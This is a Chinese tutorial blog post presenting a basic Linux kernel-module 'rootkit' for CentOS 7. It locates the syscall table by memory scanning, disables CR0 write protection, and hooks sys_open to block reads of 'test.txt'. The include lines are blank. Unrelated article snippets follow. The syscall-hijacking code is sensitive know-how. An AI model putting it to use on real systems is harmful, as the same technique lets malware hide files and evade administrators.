linux文件读保护,Linux Rootkit实现文件保护

一个非常基础的rootkit,禁止读取指定文件

编译系统:

CentOS 7

uname -r

3.10.0-957.21.3-el7.x86_64

#include

#include

#include

asmlinkage long(*real_open)(const char __user *filename, int flags, unsigned short mode);

unsigned long **syscall_table = NULL;

char buf[1024] = { 0 };

unsigned long get_syscall_table(void)

{

unsigned long ptr = 0;

unsigned long *p = NULL;

for (ptr = (unsigned long)sys_close;

ptr < (unsigned long)&loops_per_jiffy;

ptr += sizeof(void*))

{

p = (unsigned long*)ptr;

if (p[__NR_close] == (unsigned long*)sys_close)

{

return (unsigned long)p;

}

}

return NULL;

}

void disable_wp()

{

unsigned long cr0 = read_cr0();

clear_bit(16, &cr0);

write_cr0(cr0);

}

void enable_wp()

{

unsigned long cr0 = read_cr0();

set_bit(16, &cr0);

write_cr0(cr0);

}

asmlinkage long fake_open(const char __user *filename, int flags, unsigned short mode)

{

int len = strnlen_user(filename, sizeof(buf));

long ret = copy_from_user(buf, filename,len);

//禁止访问指定文件

if (ret == 0 && strstr(buf, "test.txt") != NULL)

{

return -1;

}

return (*real_open)(filename, flags, mode);

}

static int rootkit_init(void)

{

printk("driver start..\n");

syscall_table = (unsigned long**)get_syscall_table();

printk("syscall_table:%llx\n", syscall_table);

if (syscall_table == NULL)

{

return 0;

}

disable_wp();

real_open = (void *)syscall_table[__NR_open];

syscall_table[__NR_open] = (unsigned long)fake_open;

enable_wp();

return 0;

}

static void rootkit_exit(void)

{

printk("driver exit..\n");

if (syscall_table == NULL)

{

return;

}

disable_wp();

syscall_table[__NR_open] = (unsigned long)real_open;

enable_wp();

return;

}

module_init(rootkit_init);

module_exit(rootkit_exit);

MODULE_LICENSE("GPL");

Makefile:

obj-m = rootkit.o

K_DIR = $(shell uname -r)

PWD = $(shell pwd)

all:

make -C /lib/modules/$(K_DIR)/build M=$(PWD) modules

clean:

make -C /lib/modules/$(K_DIR)/build M=$(PWD) clean

实现效果:

b845f13a84138f8f168230e3c99a392a.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/298759.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

react: useEffect

可以吧useEffect看作是componentDidMount componentDidUpdate componentWillUnmount 三个函数的组合 在https://ant.design/components/button-cn 打开一个codesanbox&#xff0c; 替换下面代码 import React, { useEffect, useState } from "react"; import ReactD…

python的网页解析器_python 之网页解析器

一、什么是网页解析器 1、网页解析器名词解释 首先让我们来了解下&#xff0c;什么是网页解析器&#xff0c;简单的说就是用来解析html网页的工具&#xff0c;准确的说&#xff1a;它是一个HTML网页信息提取工具&#xff0c;就是从html网页中解析提取出“我们需要的有价值的数据…

JWT:我应该使用哪种签名算法?

JWT&#xff1a;我应该使用哪种签名算法&#xff1f;JSON Web Token (JWT) 可以使用许多不同的算法进行签名&#xff1a;RS256、PS512、ES384、HS1&#xff1b;当被问及他们想使用哪一个时&#xff0c;您就会明白为什么有些开发人员会挠头。根据我的经验&#xff0c;许多主流身…

写一个聊天辅助程序

Codeprocedure TForm1.Button1Click(Sender: TObject);varhParent,hButton,hMemo: HWND;beginMemo1.SelectAll;//Memo内容全选Memo1.CopyToClipboard;//把Memo中选中的语句拷贝到剪贴板中try//找发送消息的QQ窗口hParent : FindWindow(nil, 发送消息);//然后找回话时用的编辑窗…

真是个狠人!开学第一天,这批小学生的造型刷爆朋友圈!

全世界只有3.14 % 的人关注了爆炸吧知识在史上最长的长假过后杭州一二三年级小学生回到学校忘记座位在哪里、老师姓什么各种有趣故事不断……而在养正小学门口&#xff0c;从入校门开始&#xff0c;大家笑声就不断&#xff0c;别样的开学礼一下刷屏了朋友圈&#xff1a;每个小朋…

Linux系统断电后起不来,centos/linux 断电后,开机光标闪现不能开启,重新引导

一台工作站在某次断电以后不能正常重启了。主板的文字结束后&#xff0c;就只剩下光标在闪。开机&#xff0c;观察还能进行bios设置&#xff0c;主板没有问题。用u盘能启动操作系统&#xff0c;可以查看硬盘。所以硬件没有问题。猜想是引导出问题了。阅读了以下文章&#xff1a…

SCM基础之过程描述

软件开发一般分为&#xff1a;计划阶段、开发阶段和维护阶段 计划阶段&#xff1a;总体研发计划 -> 配置管理计划&#xff1a; CCB确定开发计划中的里程碑和开发策略CMO&#xff08;配置管理员&#xff09;根据CCB规划&#xff0c;制定配置管理计划&#xff0c;交由CCB审核C…

开通博客,记录生活

2013年大学毕业后&#xff0c;我会到了家乡&#xff0c;在一家大的印刷厂找了一份工作。工作职责就是网管兼软件开发&#xff0c;拿2千多块的工资。后来有一次我打印文件时&#xff0c;发现了一份工资列表。估计是人力资源打错打印机了。我大概一看&#xff0c;原来最高层总经理…

C++中如何读取一个数的位数_C语言编写程序求水仙花数

C语言编写程序求水仙花数水仙花数是一个数学问题&#xff0c;其实质是一个三位数&#xff0c;个位数的立方加十位数的立方加百位数的立方之和等于这个三位数本身。例如153&#xff1d;1*1*15*5*53*3*3&#xff0c;即153&#xff1d;112527。这是一个相对较为简单的C程序&#x…

RabbitMQ简介和六种工作模式详解

一、RabbitMQ简介是一个开源的消息代理和队列服务器&#xff0c;用来通过普通协议在完全不同的应用之间共享数据&#xff0c;RabbitMQ是使用Erlang(高并发语言)语言来编写的&#xff0c;并且RabbitMQ是基于AMQP协议的。1.1 AMQP协议Advanced Message Queuing Protocol(高级消息…

为什么男性比女性死得更早,心疼一秒钟!

最近娱乐圈的那些大瓜大家都吃了吗&#xff1f;某明星的运动&#xff1f;黑眼圈&#xff1f;&#xff1f;不免让小编想起之前看的文章 男性为啥比女性“去”的早嗯&#xff0c;有可能是操劳过度 生活太累 咳咳咳咳咳以上均是不负责任猜想吃瓜要谨慎呦????不过这篇报道…

奥巴马访华:不建议过度审查 提倡加强互联网开放

新华网上海11月16日电 美国总统奥巴马16日在上海与中国青年对话。在回答互联网开放的问题时&#xff0c;奥巴马表示信息越是能够自由的流通&#xff0c;社会就变得越强&#xff0c;因为这样子&#xff0c;世界各地的公民能让自己的政府负责。 [奥巴马]好吧&#xff0c;我现在请…

linux脚本开机挂载,案例七:shell实现开机自动挂载本地YUM仓库程序

实现开机自动挂载本地YUM仓库自动化程序&#xff0c;可以在没有网络的情况下也可以使用yum安装程序。#!/bin/bash#自动搭建yum本地仓库#cdrom () {mount /dev/cdrom /media/cdrom &> /dev/null[ $? -eq 0 ] && echo "挂载成功"}[ -d /media/cdrom ] …

理中汤治疗口疮

理中汤治疗口疮 □ 高建忠 山西中医学院附属医院  口舌生疮疼痛&#xff0c;老百姓常说“上火了”&#xff0c;医者也常从实火或虚火论治&#xff0c;多用凉药。   《丹溪心法口齿》&#xff1a;“口疮服凉药不愈者&#xff0c;因中焦土虚&#xff0c;且不能食&#xff0c;…

(转)C#网络编程(基本概念和操作) - Part.1

源码下载&#xff1a;http://www.tracefact.net/SourceCode/Network-Part1-2.rar C#网络编程(基本概念和操作) - Part.1 引言 C#网络编程系列文章计划简单地讲述网络编程方面的基础知识&#xff0c;由于本人在这方面功力有限&#xff0c;所以只能提供一些初步的入门知识&#x…

jwt如何防止token被窃取_在吗?认识一下JWT(JSON Web Token)?

什么是JSON Web Token &#xff1f;官网介绍&#xff1a;JSON Web Token(JWT)是一个开放标准(RFC 7519)&#xff0c;它定义了一种紧凑且自包含的方式&#xff0c;用于在各方之间安全地将信息作为JSON对象传输。由于此信息是经过数字签名的&#xff0c;因此可以被验证和信任。可…

8月日更,我的困难与感悟

8月份参加了掘金的日更活动&#xff0c;坚持每天写技术文章进行分享&#xff0c;现在活动结束了&#xff0c;来复盘下这一个月来我的困难与感悟。8月日更其实刚开始我是不想参加这个活动的&#xff0c;最近确实比较忙&#xff0c;不管是工作还是自己的私事&#xff0c;都不允许…

【IfICan】脚步很乱!

现在感觉压力实在很大&#xff0c;大大小小的事不停往身上压&#xff0c;有时连回宿舍都是个问题。我很想把事情都做好&#xff0c;不希望在我手上的事被我搞杂&#xff0c;可是就是有些事被我落下了&#xff0c;真的感觉很力不从心&#xff01;最近负责团队内的几个小事情&…

那些神一样的学习技巧,专治各种不服!

▲ 点击查看著名的俄国生理学家曾反复对自己的学生提过这个要求&#xff1a;“应当先学会观察&#xff0c;观察。不学会观察&#xff0c;你就永远当不了科学家。”鲁迅也曾这样教导&#xff1a;“如果要创作&#xff0c;第一要观察。”在《神探夏洛克》中&#xff0c;有这么一段…

关于清晰讲解linux正则表达式的博文分享

http://www.cnblogs.com/chengmo/archive/2010/10/10/1847287.html linux shell 正则表达式(BREs,EREs,PREs)差异比较 http://www.360doc.com/content/11/0304/11/5912935_98007617.shtml 正则表达式练习 http://www.jb51.net/article/42989.htm Linux 正则表达式详解 http:…